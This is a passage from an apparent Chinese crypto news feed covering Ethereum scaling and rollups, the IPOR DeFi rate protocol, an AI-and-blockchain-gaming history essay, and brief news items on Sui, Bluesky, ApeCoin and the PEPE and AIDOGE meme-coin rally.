证明的强大升级。它可以用更小的数据来验证交易，同时也让太坊变得更具可扩展性。The Verge 优化了验证所需的数据量，The Purge 则是清除已有的历史数据和坏账，简化存储，从而减少网络拥塞，提高交易处理速度。The Splurge主要用来确保网络在前 4 个阶段之后平稳运行，处理遗留的小问题。 这其中，最大的看点是The Merge和The Surge。 The Merge已经完成，以太坊由工作量证明POW 转质押证明POS，这也就促使流动性质押衍生品LSD（Liquid Staking Derivatives）赛道突然崛起。 简单理解，把自己持有的代币质押到对应的区块链上，获得质押收益，就叫做流动性质押。但用户直接去参与公链的原生质押并不简单，对其资金、收益、操作、学习的门槛都非常之高。 比如以太坊要求32个ETH起步，这对于大部分用户想参与并获取质押收益都是非常困难的。于是，LSD赛道就开始慢慢衍生出各种项目。 关于LSD更多分析，可以阅读我们之前的文章《以太坊上海升级临近，LSD赛道异军突起》。 接下来说说The Surge。 为了上海升级的顺利进行，有一条提案被留到了下一次坎昆升级，那就是EIP-4844，又名Proto-danksharding。用于实现构成完整 Danksharding 规范的大部分逻辑和“脚手架”（例如交易格式、验证规则），但尚未实际实现任何分片。 此前计划的分片是状态分片（State Sharding），后来决定以Rollups为中心的路线图，实施Layer1（Data Sharding）+ Layer2（Rollups）模块化混合扩容方案后，实施的是数据分片（Data Sharding）。数据分片本质上是模块化区块链的思路，将以太坊分成多个数据分片，每个数据分片连接一个或多个Rollup，Rollup作为执行层，以太坊作为共识层和数据可用性层。 也就是说以太坊在合并之后，将迈向分片模块化区块链结构的进程。目前该赛道还处于早期，没有什么项目可参与，预计未来2年会有较快的发展。 以上就是以太坊链上扩容的概述，总结两点：关注LSD、观望Sharding分片（模块化区块链）。 相较于以太坊链上扩容，其链下扩容的生态更加丰富。任何第三方都可以基于以太坊搭建辅助产品，这其中就有最近很火热的Rollup板块。 Layer2解决方案中，State Channel与以太坊主网具有相同的安全性，但是仅能在特定的用例下工作；Sidechain具有EVM兼容性、可以拓展各种使用场景，但核心缺陷是不依赖于以太坊主网的安全性，通过自己的共识模型来保证状态安全。 Rollup尝试提取两种方案的优点来构建一种通用的拓展解决方案，Rollup通过在以太坊主网外处理交易，但仍将交易数据发送回以太坊主网，且仍从以太坊主网获得其安全性。 每个Rollup都在以太坊部署自己的特定合约，在主链外特定的Rollup链上执行交易，然后将交易批量打包、压缩后发送回主网，减少实际需要处理交易的主网负载。这减少了与主网交互的费用、增加了区块链的采用，同时当前存在于以太坊主网的合约也可以在几乎不经改动的情况下部署到Rollup上。 Rollup当前有两种方案：Optimistic Rollup和ZK Rollup。 Optimistic Rollup假设提交回以太坊主网的数据默认是正确、有效的，每当人们认为存在无效交易时，则使用争议解决方案。 ZK Rollup，也叫Zero-Knowledge（零知识证明）Rollup，与Optimistic Rollup解决方案不同，没有争议解决方案，它使用了一个巧妙的密码学证明。每个提交提交到以太坊主网的交易批次都包含一个密码学证明，称为SNARK，该证明可以被部署在以太坊主网的合约进行校验。这个合约维护了Rollup上的所有状态，并且仅当加密证明有效时该状态才会被更新，这意味着仅有一个有效的证明被存储在以太坊主网上而不是笨重的交易数据。 Optimistic Rollup生态两大项目Optimism和Arbitrum 均已发完代币并建立起自己的生态；而ZK Rollup赛道由于技术原因，项目基本都处于测试网阶段，预计未来1-2年内会有较大的发展，其中比较热点的项目有：Azetc、Immutable X、Polygon zkEVM、ZKSync、StarkNet、Scroll、Loopring等。 关于ZK赛道参与机会，可以阅读我们之前的文章《2023年ZK赛道有哪些参与机会？（附操作指南）》。 以上就是以太坊链下扩容的介绍，总结两点：关注Optimistic Rollup、观望ZK Rollup。 最近，Layer 3概念的兴起受到了不少关注。 什么是Layer 3呢？ 简单来说，就是基于链上扩容+链下扩容 Layer2之上，再建立一个新的层。Layer 3如同 Layer 2 嵌套在 Layer 1上，它和 Layer 2 之间也有着嵌套、递归的关系。通过递归证明的乘法效应，实现强大的可扩展性，同时这种扩容是呈几何级增长的，应用程序的设计者也能够更好地控制相关技术堆栈。通过自定义数据模型，加快区块链的技术周转率和功能运作效率。 比如，想开发一个 DApp，既能够承继以太坊的用户和安全性，但又不想自己搭建成本高昂的Rollup，怎么办？除了选择Cosmos、Polkadot 等跨链产品，还可以利用 SDK 开发一个应用专用的 Rollup，即 Layer 3，实现RaaS（Rollups-as-a-Service）生态服务，这是以太坊走向模块化区块链的未来之路。 Layer 3生态会越来越大，应用专属链也将会越来越多，像LayerZero、Cosmos、Polkadot这样的跨链项目也可以保持关注。 随着以太坊生态的不断完善，目前已涌现不少新赛道，有的正在进行，有的还在萌芽。想要抓住最新的机会，了解以太坊生态非常重要，以下是总结的几个值得关注的以太坊热门赛道。 当然，区块链生态圈不止以太坊一条公链，ZK赛道、跨链赛道、模块化区块链赛道也有很多非以太坊网络的优质项目。 今天的内容没有太多技术语言，希望这篇文章对大家了解以太坊生态有所帮助。关于更多赛道的机会，我们后面慢慢分析。  ( 3 min )
    NFT项目Memeland或即将推出MEME代币
    PANews 4月20日消息，9GAG旗下的NFT项目Memeland发推文称：“你们正在购买 meme coins。我们正在建造Meme Coin(@memecoin)。”据悉，Meme Coin推特帐户(@memecoin) 于2022年4月创建，并于9小时前发布首条推文“万meme之主 (One $meme to rule them all)”。 据悉，MEME是一个支持创作者的代币，将用于Memeland构建的多个SocialFi产品中，此前Memeland已公开表示会在2023年推出该代币。  ( 1 min )
    Sui将为18万账户随机分配9.6万个白名单资格，中签者今日起将收到邮件
    PANews 4月20日消息，据官方公告，公链项目Sui已停止接收Recognition Sale申请，Recognition Sale将面向2月1日之前加入Discord的社区成员开放，理论上的合格成员数量约34万个帐户。目前Recognition Sale的最终提交总数为18万个（过滤掉不合格帐户）。 Sui基金会为此开发了一种随机选择算法，预计将从18万提交者账户中随机挑选9.6万个中签账户（假设每位获得白名单的用户都按最大配额购买），监管条例模糊的地区用户或将需要执行其他参与步骤。Sui基金会将于4月20日开始以邮件的方式联系白名单用户，并于4月21日在交易平台激活白名单。Sui基金会不会要求中签用户提供此前已提供过的信息，电子邮件也不会包含任何外部链接。请用户小心诈骗及网络钓鱼活动。 此前今日早些时候消息，Sui将于5月3日正式启动主网。  ( 1 min )
    链游的 AI 革命（一）：AI 不是一个新命题
    开篇语 “狼来了，狼来了……”AI 这次真的来了，如洪水猛兽，短短两个月时间，OpenAI 旗下的 ChatGPT 月度活跃用户数突破了一亿大关，成为历史上增长最快的应用之一。而最新的 GPT-4 于 3 月 14 日发布，随后在 3 月 29 日，狗狗币的统帅马斯克与 1000 多名专家和产业高层联名呼吁，暂停开发比 GPT-4 更强大的人工智能系统至少 6 个月，给个缓冲期，以认识并远离极端的大规模风险。 带货大师马斯克都按下了暂停键（然后反手就把推特头像换成狗狗抢热度？哈哈），给手机前的你和我准备了 6 个月的实习时间，好好备战。暂停键也意味着，这将是一个不可逆转和不可抗拒的趋势，所以，我们现在还有 5 个多月时间好好思考下，该如何面对或迎接 AI 给我们的工作和生活带来的变革。 AI 之所以如此强大，是因为它让计算机像人类一样思考、学习和用逻辑关系解决问题。就好比你和不熟悉的网友聊天一样自然，而且对方拥有无穷多的知识储备和话题可以让你撩，还能兼具德云社捧哏和逗哏的功能。 如果让这样一个全知全能的智能帮助人类工作，超过 50% 以上的工作可能很快就会被 AI 替代，90% 以上的工作都将逐渐受到影响并大大提高效率，同时也将解放人类更多时间。 比如，如果有一天，AI 语音机器人通过与小朋友聊天，就知道小朋友的知识面低于平均水平，同时可以像一个和蔼可亲的老师一样长期陪伴，通过聊天和讲故事的形式，逐渐将许多空缺的知识传达给小朋友，会是天下虎爸虎妈们最幸福的短暂时刻。 AI 带来了一场全新的革命，谁都逃不过。感谢统帅按下了暂停键，哪怕是假装暂停，而自己“明修栈道，暗度陈仓”地偷偷在研发。瓜田实验室 W Labs 在 ChatGPT3.5 刚兴起的时候就成立了专门的“AI 链游研究小组”，这段时间拜访了我们能通达到的已经涉足 AI 的链游项目和团队，并结合我们学习到的 AI 知识，开始撰写我们所理解的 AI + 游戏 + 链游的故事。我们这就开始吧！（本系列长文可能会很长很长，瓜友们就当做连载故事来看吧，不过实属原创，非 ChatGPT 生成，哈哈哈） 上一次大众级别的 AI 热潮还要追溯到 2016 年 AlphaGo 战胜了前围棋世界冠军李世石，之后又是相对沉寂的几年，直到 2022 年 ChatGPT 横空出世再次引爆。这并不奇怪，实际上，AI 已经是一个发展了六七十年的领域，并已经经历过数次寒冬了。 AI 发展史的故事可以从人工智能这个词的诞生开始讲起。在此之前，早期的计算机科学家和研究人员已经在思考和尝试模拟人类智能。1956 年的盛夏，约翰・麦卡锡等人在美国汉诺斯小镇宁静的达特茅斯学院召开了一次为期两个月的研究计划，旨在召集志同道合的人共同讨论“人工智能”。 这次会议被称为“达特茅斯会议”，会议期间，与会者们讨论了机器模拟智能的一系列问题，包括如何使机器像人一样思考和学习。虽然会议没有取得预期的成果（过于乐观的科学家们大大高估了自己的能力并低估了人工智能的复杂度，人类和 AI 到底谁才是上帝视角现在还说不定），但它标志着人工智能领域的诞生和发展，也被认为是 AI 领域的开端，确定了人工智能作为一门独立学科的研究方向。 1956 达特茅斯会议参会的关键人物 早期的 AI 研究主要集中在符号主义方法上，例如使用基于规则和逻辑的方法来模拟人类智能。在这个阶段，马文・明斯基打造了“马克一号”感知机，也是最早的神经网络。后面艾伦・图灵则提出了著名的图灵测试。 如果还不知道图灵的加密圈玩家，总该知道 2023 年上半年的十倍币陈凤霞（CFX）吧？香港概念板块的领军代币，能涨的这么凶除了背后做市商是凶狠的大潍坊（DWF）之外，CFX 几年前初闯江湖靠的是“清华姚班”的牌子，姚班就是华人计算机专家姚期智在清华带的班级，而姚期智最大的成就是获得了 2000 年图灵奖，也是目前唯一一位获该奖的华人，所以大家知道图灵在行业内的地位了吧……绕了这么大一圈，终于扯回来了。 图灵测试的前身是图灵 1950 年的论文《计算机器与智能》（Computing Machinery and Intelligence）里提出的“模仿游戏”思想实验，后来演变为我们现在如今更熟悉的图灵测试。这个概念甚至早于人工智能这个词本身（如前文所述，人工智能的概念是直到 1956 年的达特茅斯会议才诞生），是最早的判断“机器能否思考”的一套标准：如果一定比例的人类已经无法分辨与之交谈的是人还是机器，那么一般就认为这个机器是通过了图灵测试。这个伟大的想法和它产生的巨大影响也奠定了图灵“人工智能之父”的历史地位，如今计算机领域的最高荣誉便是以他名字命名的“图灵奖”。想要深入了解图灵这位惊世骇俗的天才的，可以去看帅哥卷福扮演图灵的电影《模拟游戏》。 艾伦 · 图灵 达特茅斯会议之后这段时期的 AI 发展是比较缓慢的，一直没有什么重大的突破，70 年代算是第一次人工智能的寒冬。1986 年，杰弗里・辛顿（记住这个名字，非常重要）等人提出了反向传播算法，这一算法使神经网络能够通过梯度下降优化权重（大家看不懂正常，我看了几篇文章也没搞清楚这么嘛东西，不过大家只要记住反向传播算法直到现在还是训练神经网络的最常用方法之一就好了），从而实现更有效的学习。而后便是从 90 年代持续到 21 世纪这十几年的第二次人工智能寒冬。 杰弗里·辛顿 我们现在已经基本认知了科技的进步不是线性增长的，而是需要经过一大段时间的平台期，然后短时间会突然爆发。在经过了两次寒冬后，到了 2007 年，辛顿创造了一种描述神经网络的方式——深度学习出现了。作为 AI 的一个子领域，深度学习在 2000 年代开始迅速崛起，并带动了人工智能突飞猛进的十年，一批批才华横溢的计算机科学家和大小公司纷纷入场： 2010 年，DeepMind 成立；2011 年，吴恩达等人创立“谷歌大脑”；2013 年，扎克伯格和发明了卷积神经网络（CNN）的杨立昆成立了 Facebook 人工智能实验室，该实验室也在计算机视觉、自然语言处理等领域取得了一系列重要突破；2014 年，谷歌收购 DeepMind；2015 年，AlphaGo 击败了欧洲冠军樊麾，初显身手；2015 年，今天全球最瞩目的明星公司 OpenAI 成立了；2016 年，AlphaGo 击败了世界冠军李世石；2017 年，AlphaGo 击败了柯洁，从此再无敌手；同年陆奇加入百度，百度作为中国的 AI 领导者，在自然语言处理、自动驾驶等领域具有重要地位。英伟达推出渐进式生成网络，可以生成照片级的人脸，“深度造假”开始出现在互联网上。英伟达这个公司后续会不断出现在我们这个系列的长文中，真的是华人之光，一个公司通过显卡芯片技术横跨了游戏，AI 和加密三大行业。 这里要帮百度多说几句（分文未收，本人一向非常厌恶百度系产品的使用体验），早在 2012 年人工智能这一波复兴刚开始不久，百度就意识到了深度学习的重要性。为了把神经网络之父辛顿招进公司，几家第一梯队的公司加入了竞价，发起对辛顿团队的人才收购。辛顿为此特意注册了一家初创小公司 DNNresearch，公司的全部资产便是辛顿、他的两个学生，以及几篇深度学习的论文和研究成果。 参与本次竞拍的四家公司是硅谷巨头谷歌、微软、刚成立两年的 DeepMind、以及……中国公司百度。百度率先给出了一千万美元的报价，但很快价格就来到了两千万美元，资金不足的初创公司 DeepMind 不得不退出竞拍，而信仰不足的微软随后也退出了竞拍，只剩下谷歌和百度持续在掰手腕儿，双方都非常坚决要把辛顿拿下。于是价格从两千万，到三千万，到四千万，眼看势必还要继续去五千万和更高的价码，百度也从一开始负责竞拍的研究员换成了公司高管，从北京直接连线接入拍板。 但最后辛顿主动停止了拍卖，选择用较低的价格直接出售给谷歌——早已功成名就的大佬，把合适的研究环境看得比钱更重要一些。而当时替百度参与竞拍的研究员余凯，惊奇的发现原来财富可以来的这么快和舒服！李彦宏再帅也阻挡不了余凯的梦想了！于是他创办了自己的芯片和自动驾驶公司，就是地平线。截止 2022 年末，地平线的估值为 50 亿美元，累计融资 34 亿美元，这是一个屌丝抓住信息机遇实现自由的典型案例。 而辛顿的其中一个学生伊尔亚・苏茨克维后来也应马斯克的邀请离开了谷歌，联合成立了 OpenAI。 那是谷歌在人工智能领域最春风得意的一段时间。其实直到 18 年，谷歌都是人工智能领域绝对的领头羊，招来了辛顿、收购了 DeepMind、发展自家的谷歌大脑 Google Brain，将自己置于 AI 领域的研究和应用前沿。 业界其他人员和公司大多也都追寻着谷歌的研究道路，谷歌发布的 Transformer 架构也为 OpenAI 提供了巨人的肩膀——今天广为人知的 GPT 的 T 便指的是这个架构。 但此后 OpenAI 慢慢来到了历史舞台的中央。2019 年，OpenAI 发布了 GPT-2，没有把辛顿收入旗下的微软这次没有错过机会，向 OpenAI 投资 10 亿美元。GPT-2 以后的 OpenAI 终于在不同于谷歌领导的道路上走通了属于自己的大模型之路，而后便开启了狂暴的开挂模式：2020 年，GPT-3；2022 年，GPT-3.5，仅用十几天做出来的 ChatGPT 在年末席卷了全球，开启新一轮 AI 热潮；2023 年，其他公司还在苦苦追赶 ChatGPT 之际，又直接砸出了 GPT-4。 至此，再无敌手，打通了任督二脉的 OpenAI 以强悍的先发优势和极快的迭代速度和所有同行拉开了代际差。 未完待续。感觉这个系列要成为瓜田实验室创立以来最长的系列长文了，各位看官当做八卦故事慢慢欣赏哈～ 本系列由 W Labs “AI 链游研究小组”集体创作，感谢小组成员瓜哥、嘉然、包包、Brian、小飞、华哥的努力付出！  ( 4 min )
    DeFi新势力IPOR：构建DeFi基准利率，实现高杠杆利率交易
    DeFi正在从CeFi的学习中完善自己的金融工具，并蚕食CeFi的市场。今年3月，金融市场上最大的风险可能来自于美国银行业Silvergate Bank、硅谷银行和Signature Bank的相继破产。当货币政策宽松时，银行收到大量存款并用这些资金购买长期债券。但当政策收紧时，提款需求增加、债券价格下跌，银行不得不亏损出售这些资产以应付挤兑。最终，这三家银行成为美联储加息下的牺牲品。 传统金融市场中有足够的利率衍生品工具来对冲利率变化的风险，利率衍生品市场的规模高达450万亿美元，仅CME中每天的利率衍生品交易量就有数十万亿美元。在DeFi中，这个方向发展了数年，但之前也一直缺乏有效的工具。 DeFi中使用最多的是浮动利率模型，存款和借款利率会根据供给和需求随时变化。Aave作为最知名的去中心化借贷平台之一，也开通了固定利率借贷功能，但使用者较少。Aave中的固定利率借款和浮动利率借款共用一个资金池，只是前者的借贷利率不会变化。但Aave的固定利率定价并不合理，以4月18日的数据为例，在以太坊主网上的Aave V2中，USDT、USDC、DAI的存款利率均在2%～3%之间，浮动利率借款的利率在3%～4%之间，但固定利率借款的利率均在12%以上，没有合理的基准利率作为固定利率借贷的利率参考标准导致了不合理的定价。 最近因为LSD的未来收益而崛起的项目Pendle Finance，最初也是为浮动利率和固定利率之间的交易设计的。用户可以将Aave和Compound的存款凭证锁定在Pendle的智能合约中，同时得到OT和XYT两种代币。OT代表到期后对抵押物的求偿权，XYT代表未来收益。Aave、Compound的存款用户可以铸造OT和XYT，并通过出售XYT来将未来浮动的利率锁定为固定的收益。这种做法也有弊端，无论是利率的交易者还是流动性提供者都不能使用杠杆，与传统金融利率衍生品交易中上千倍的杠杆相比缺乏竞争力。 低成本、高杠杆、价格相对稳定的利率工具是DeFi利率交易的需求。Notional Finance之前也提出了一种相对合理的方案，但近期TVL由接近10亿美元下降至不到3000万美元，被IPOR反超。下面看看IPOR的方案。 IPOR（Inter Protocol Over-block Rate）的名称来自于LIBOR（London Interbank Offered Rate）和SOFR（Secured Overnight Financing Rate），与SOFR更接近。LIBOR和SOFR都是金融市场中使用的基准利率，它们的主要区别在于计算方法和信用风险的不同。LIBOR根据伦敦银行同业拆借市场的报价计算，SOFR根据市场上实际交易数据计算；LIBOR的借贷没有担保，SOFR有担保。因此SOFR更不容易被操纵且几乎没有信任风险，近些年正逐步取代LIBOR。 IPOR中的主要产品之一就是对标SOFR的DeFi基准利率，和SOFR一样，利率的来源是有抵押的借贷。IPOR目前已经制作了三大稳定币USDT、USDC、DAI的指数，正在制作ETH的指数。在上海升级之后，ETH LSDFi迎来快速发展，更需要一个基准利率。 具体地，目前IPOR根据Compound、Aave的存借款利率和数量的加权平均值分别计算出存款利率和借款利率，再取平均值，如下图所示。IPOR指数计算是模块化的，可以更新，当市场发生变化时，可通过DAO治理流程更改。IPOR指数的数据由预言机收集和监控，再发送到IPOR指数计算智能合约，结果再发送给预言机。如果发生黑客攻击等情况，预言机管理员可以启动紧急退市，并立即产生结果。 IPOR AMM 在进行利率交易时，IPOR AMM根据IPOR指数进行报价，并有一定的价差，影响价差的因素包括移动平均线、交易规模、流动性池的风险敞口、当前的波动率和均值回归。例如，当前IPOR USDC指数为2.653%，将USDC的固定利率交易为浮动利率时，支付的固定利率更高，收到的即为IPOR USDC指数对应的浮动利率。同理，将浮动利率兑换为固定利率时，支付的为IPOR USDC对应的浮动利率，收到的是相对更低的固定利率。假如某用户在当前情况下将固定利率兑换成了浮动利率，虽然当前获得的浮动利率少于支出的固定利率，但若以后利率上涨，IPOR USDC指数上涨，也可盈利。在进行利率交易时，交易员以对应的稳定币为保证金，最高杠杆可达500倍。 在IPOR AMM中，LP直接以对应的稳定币提供流动性，可以获得的收益包括：交易员开立衍生品头寸时收取的费用、提取流动性时收取的费用、作为交易员对手盘的盈亏、通过资产管理器获得的收益。 得益于DeFi的可组合性，IPOR的资产管理器会将AMM中闲置的稳定币存入Aave和Compound中。很多DeFi项目都会采用同样的机制来增加收入，这里就不再赘述。 IPOR的原生代币为$IPOR，总量1亿枚，发行给参与项目的各方，具体分配如下。 $IPOR还有一种质押的代币形式，称为Staked IPOR或Power IPOR（$pwIPOR），$pwIPOR不可转让。IPOR和pwIPOR可1:1兑换，质押$IPOR可得到$pwIPOR，只有$pwIPOR对应DAO的治理权，持有$pwIPOR也可增加IPOR中的流动性挖矿奖励。$pwIPOR赎回为$IPOR需要等待14天，如果选择直接赎回则需要支付50%的费用。 流动性对于IPOR至关重要，LP在IPOR中提供流动性时需要作为交易员的对手盘承担风险，流动性的多少也影响着可开立的杠杆头寸上限和交易中的价差，因此IPOR从一开始就进行了流动性挖矿，奖励以$pwIPOR的形式发放，可以实时领取。 LP将USDC、USDT、DAI这三种稳定币的任意一种存入存款合约，会得到对应的ipTokens（ipUSDC、ipUSDT、ipDAI）。如下图所示，在不包含流动性挖矿奖励的情况下，从去年8月份上线以来ipUSDC与USDC的兑换比例已经从1涨至1.0484。 将ipTokens质押到奖励合约即可开始流动性挖矿。持有$pwIPOR可以增加流动性挖矿的奖励，奖励合约使用提供的流动性与持有的$pwIPOR之间的比例来计算。如下图所示，一开始增加$pwIPOR更能有效提升奖励，随着$pwIPOR的数量增加，当超过某个临界值时，则增加流动性更为有效。这是为了使$IPOR的分配更加去中心化，并激励更均衡的代币需求。 截至4月18日，IPOR中USDC、USDT、DAI的流动性挖矿的收益率均在21%以上。 IPOR团队 IPOR指数和IPOR衍生品背后的开发团队是IPOR Labs，这是一家位于瑞士楚格，由加密OG、传统金融市场、专业开发人员和加密社区的资深人士组成的开发公司。 Darren Camas是IPOR Labs的联合创始人兼首席执行官，有12年的加密货币经验，是Cardano的早期顾问，也是2011年加密交易所领域的一名先驱。 Dimitar Dinev是IPOR Labs的联合创始人兼首席安全官，他从2016年开始一直在加密货币领域工作，拥有投资银行、风险投资和亚洲现货和衍生品交易所业务背景，也是多个DeFi项目的顾问。 Mau Hernandes博士是IPOR Labs的首席科学家，曾在日本证券巨头的加密货币子公司SBI Bits建立交易平台，是一名统计学家、计算机和数据科学家。 IPOR协议的核心是由具有15年企业级软件开发经验的软件工程师构建的，他们之前构建了银行、支付和保险的核心基础设施。 产品团队由Wookash领导，他曾是3个创业公司的首席技术官，专注于设计商业和经济逻辑与具体实施之间的解决方案。 社区由Vlad Dramaliev领导，他自2013年以来一直在建立加密社区，另有IPOR Intern推特账号在社交平台上发表高水平的观点。 IPOR协议由IPOR指数、IPOR AMM和资产管理智能合约这三个核心组成，它开创了一种高杠杆、低成本交易DeFi利率的方法。IPOR指数是一种对标SOFR的DeFi基准利率，在IPOR AMM中可以最高500倍杠杆交易浮动利率与固定利率。 $IPOR代币还有一种质押形式$pwIPOR，持有$pwIPOR可以获得更高的挖矿奖励，增加的$pwIPOR以对数形式提高流动性挖矿的奖励，以此激励$IPOR的需求与去中心化分配。  ( 2 min )
    去中心化社交项目Bluesky发布安卓测试版APP
    PANews 4月20日消息，据The Verge报道，由Twitter创始人Jack Dorsey资助的去中心化社交项目Bluesky（AT协议）发布安卓版应用程序，目前仅有2万5千名测试用户，新用户需要加入等候名单或从好友处获取邀请码才可使用该APP。 此外，Bluesky现有版本仍缺少些许功能，用户可能无法从其他社交网络导入关注列表，且它仍然缺少直接发送私聊消息等基本功能。 此前3月消息，Bluesky已在App Store中发布邀请测试版。  ( 1 min )
    ApeCoin社区关于“向以太坊社区捐赠100万美元”的提案已获投票通过
    PANews 4月20日消息，Snapshot投票页面显示，ApeCoin社区关于“向以太坊社区捐赠100万美元”的AIP-230提案已获投票通过。该提案拟向ETHGlobal捐赠30万美元，向11场ApeCoin黑客松和至少5项公益活动赞助70万美元，旨在响应V神曾于2022年呼吁Ape资助公共商品的号召。 该提案投票的最终支持率为46.21%，反对率为29.96%，弃权率为23.84%。在ApeCoin投票机制中，弃权不影响表决结果。  ( 1 min )
    复盘PEPE和AIDOGE暴涨背后，我们如何与meme币共舞
    作者：雾海，PANews “链上监控到一个地址，买了250美元的PEPE，刚才变成180万美元了”，“前几天我领了给ARB空投地址空投的代币AIGOGE，没有卖，刚才看单个地址领的币可以卖500美元了。哦对了，我只领了1000个地址”。 社群里、社交媒体上近2天以来这样的声音此起彼伏。有人偏见错过，有人踏空拍大腿，更有人领到就卖吃了一顿猪脚饭，没想到其实是一辆电瓶车。当如上的信息不断传播后，市场上也开始上演曾有过的盛况：看到合约地址就充钱。币市的meme季就这样悄然来临。 本文PANews将为你详解近期meme季现象级项目的特点，以及后续如何抓住机会并规避可能的风险。 早在AIDOGE爆火之前，就有基于Velodrome的ve(3,3)机制的自动化做市商项目auragi针对获得ARB代币空投资格的地址进行空投。其空投代币也早已被领取完毕，代币价格也表现平平，应了社群里传播的那句“空投一顿猪脚饭”。观察该项目玩法，显然没有AIGOGE的操盘手懂市场玩法。 按照官方介绍，ArbDogeAI是Arbitrum生态系统中的一项实验。AIDOGE于4月15日上线，其代币总量为210,000,000,000,000,000个（2.1兆个），分发方式为具有ARB代币空投资格的地址可以免费领取95%，另外5%用于激励邀请用户。邀请地址将获得被邀请地址领取代币总量的10%，5%的奖励总池分发完毕为止。 值得一提的是，其分发数量与其他项目平均分法的方式不一样，而是采用领取越早数量越多的机制。这从一定程度上不断减少了市场抛压，也激励了早期发现的用户。前6万多个地址领取的代币数量是第9万个地址开始领取数量的一倍。 此外，AIDOGE设计了交易燃烧税的机制。用户在链上每次交易都有15%的燃烧税，3%用来生态发展；1%将被销毁；2%奖励给流动性提供者；3%用来购买ARB，用于补贴协议游戏和投票（在早期阶段，一些ARB代币将直接用于鼓励用户增加流动池资金）；3%用于AIDOGE持有人质押分红。3%用来幸运掉落，该部分会兑换成ARB代币并存入幸运池。 以此AIDOGE的需求便随即产生。首先可以用来挖矿，起始时计算复利的情况下年收益率高达2,360%。其次可以提供流动性，计算复利的情况下年收益率高达1,039,940,246%。另外，当用户在链上买入等值100-1000的AIDOGE代币后，将获得参与幸运掉落的资格，每半小时抽奖一次。通过频率和概率激发了用户的赌性，也增加了市场的博弈。 幸运掉落的幸运权重根据单个地址买入的AIDOGE价值等比例提升，最低为1（买入100美元），最高为10（买入1000美元）。幸运权重采用向下取整的方式，比如某地址买入价值180美元的AIDOGE代币，那其幸运权重为1。每一轮结束后，幸运券将被重置。根据官方数据，目前通过幸运掉落分发出去的ARB代币数量为15.9万个，总参与地址数9500个，获得幸运掉落的地址177个。 根据官方计划，后续将推出AI NFT系列，用于训练、创作和生产。还有AICODE、DAO。这些都是目前吊着市场情绪的预期，暂未落地。AIDOGE也陆续上线抹茶、Bitget等中心化交易所。其当前链上持有地址为10.9万个，前100个持有地址持有高达81%的代币总量，近24小时中心化交易所交易量为1.72亿美元，去中心化交易所交易量为840万美元，当前全流通市值达到5700万美元。 Pepe引起市场更多关注的是一个暴富故事。据Lookonchain数据显示，某地址于4天前在Uniswap将0.125枚ETH（约合251美元）兑换为5.9万亿枚PEPE。以4月20日PEPE报价0.0000003145美元计算，该地址囤积的5.9万亿枚PEPE的价值已达到185万美元，若以当前价格全部出售（目前暂未出售），本次投资回报将达到7370倍。这无疑是又一次令无数人羡慕的以小博大的致富故事，也因此市场广为流传。 回看Pepe本身，根据Pepe官方推特，其于4月5日发表首条推文，当时关注甚少，于4月15日上线PEPE代币。Pepe主打的概念是“让memecoins再次伟大，面对市场上每个人在关注无穷无尽的衍生meme代币ShibaCumGMElonKishuTurboAssFlokiMoon，是时候改变现状了”。Pepe在没有预售、零燃烧税、LP代币被销毁、合约权限放弃的前提下秘密推出。 PEPE代币总量为420,690,000,000,000个，其中93.1%的代币被发送到流动性池，剩余的6.9%的代币存放在一个多签钱包中，仅用作未来中心化交易所上币、桥接和流动资金池。 其规划为第一步作为memecoin上线CoinGecko和CoinMarketCap，拥有1000个持有地址，并在推特上被更多人提及。第二步为Vibe和HODL，以Pepe Times通讯维护社区伙伴关系，为持有者提供专有的discord频道，并上线中心化交易所，拥有1万个持有地址。第三步为发展代币经济，打造Pepe主题商品，顾客可以使用PEPE代币购买，所得收入部分销毁。并将上线PEPE学院和Pepe工具，同时上线一线中心化交易所，并有10万持有地址。同时，其提出了将超越比特币的噱头。 从其代币链上数据看，当前持有地址为21400个。前100个持有地址持有44%的代币总量。近24小时中心化交易所交易量为1487万美元，去中心化交易所交易量为1.22亿美元，当前全流通市值达到1.2亿美元。 如何抓住meme季？ 1、是否向更广泛群体免费公平分发 无论是过往memecoins的特点，还是今时的Pepe和Aidoge，其共同点都是以免费公平的方式向更广泛的群体分发。这样做的好处是吸引到更多的用户，而且当这些用户发现随手卖掉后可以即时获得蝇头小利之后，便会口口相传将信息扩展到更多的用户。 当达到此目的后，操盘者通过拉盘再次吸引市场关注。而此前以蝇头小利吸引到的用户此时成为噪音传播器，或者因为卖飞而到处诉说成为项目方免费的宣传人员，或者因为没有售出获利较高成为项目方的利益相关群体而宣传致富故事。 当市场讨论声音和持有群体大到一定程度后，二线交易所为了流量便会跟进并上市，此举更加扩大了对应项目的热度，其中不乏一些热度极高且持久度更强的项目被一线交易所关注并上市。 基于此，当我们发现某个项目免费且公平的向市场所有人或者某个具有传播效应的群体分发代币时，在确认该项目的代币领取不存在合约授权风险后可以积极参与。当领取到代币后，如果其价值不高，无需急于获利退出，可以尝试以小搏大。并在后续持续关注该项目进展，如果当该项目代币链上交易量较大，并且二级市场一直有人承接，可以理解为背后有操盘手。 对于早期没有获得对应项目代币的用户，可以根据市场讨论的热度决定自己是否进场。比如早期向ARB空投地址免费分发的auragi，除个别群体发布个人邀请链接外，并无更多讨论声音。而Aidoge在前两天领取期内讨论偏少，但在其承接了两天的抛压并且价格一直维持在后进入的用户可以领取一顿猪脚饭、早进入的用户领取价值不断上升的情况下，引来了广泛推广和讨论。此时处于传播早期，可分配好仓位管理和带止损的前提下进场参与。 除分发方式外，另一个被市场追逐的memecoin的共同点是代币总量极高，并且二级市场价格的小数点后0位数极多。站在个人观感的方向去看，100美元买入比特币等主流币，其数量通常不足1枚，这对个人感受完全不构成任何冲击力，相反会让小资金用户望而却步，因为无论从预期涨幅还是个人感受上都无法满足用户需要。 但当用户用100美元买入一个代币，其数量以亿为单位计算，有的甚至显示方式需要使用科学技术法表达时，对用户或者投资者的冲击是极强的，迎合了投资者的心理需要。 如PANews此前发表的文章《想玩转meme币？这些底层逻辑及投资方法论你必须了解》中，作者西米提到meme币的投机方向主要是所有主流币暴涨，BTC/ETH等单价过高，让圈外投资者望而却步，而meme币单价便宜、有趣好玩、易于传播理解的特点也备受新人玩家青睐。1美元就可以买到几百万甚至几亿枚meme代币的数量，投资成本较低，会让新用户更有成就感。因此成功的meme币大多价格极低，通常不足1美元，且总量巨大。 